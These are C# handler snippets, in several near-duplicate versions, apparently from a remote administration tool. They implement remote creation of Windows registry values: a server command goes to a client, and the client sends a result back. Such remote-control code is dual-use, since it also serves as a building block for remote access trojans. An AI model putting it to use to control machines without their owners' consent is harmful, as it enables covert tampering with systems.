public static void createRegistryValue(GetCreateRegistryValueResponse packet, ClientMosaique client) { try { // Make sure that the client is in the correct state to handle the packet appropriately. if (client != null && client.value.frmRe != null && !client.value.frmRe.IsDisposed || !client.value.frmRe.Disposing) { if (!packet.IsError) { if (packet.Value.Kind == RegistryValueKind.String) { var serializer = new JavaScriptSerializer(); var result = serializer.DeserializeObject(packet.Value.Data); packet.Value.Data = result.ToString(); } client.value.frmRe.CreateValue(packet.KeyPath, packet.Value); } else { client.value.frmRe.ShowErrorMessage(packet.ErrorMsg); } } } catch { } }
private void Execute(ISender client, GetCreateRegistryValueResponse message) { if (!message.IsError) { OnValueCreated(message.KeyPath, message.Value); } else { OnReport(message.ErrorMsg); } }
public static void HandleCreateRegistryValue(GetCreateRegistryValueResponse packet, Client client) { try { // Make sure that the client is in the correct state to handle the packet appropriately. if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) { if (!packet.IsError) { client.Value.FrmRe.CreateValue(packet.KeyPath, packet.Value); } else { client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); } } } catch { } }
private void Execute(ISender client, DoCreateRegistryValue message) { GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse(); string errorMsg; string newKeyName = ""; try { responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault()); responsePacket.KeyPath = message.KeyPath; client.Send(responsePacket); }
public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Networking.Client client) { GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse(); string errorMsg; string newKeyName = ""; try { responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault()); responsePacket.KeyPath = packet.KeyPath; client.Send(responsePacket); }
public static void HandleCreateRegistryValue(GetCreateRegistryValueResponse packet, Client client) { try { if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) { if (!packet.IsError) { client.Value.FrmRe.AddValueToList(packet.KeyPath, packet.Value); } else { client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); } } } catch { } }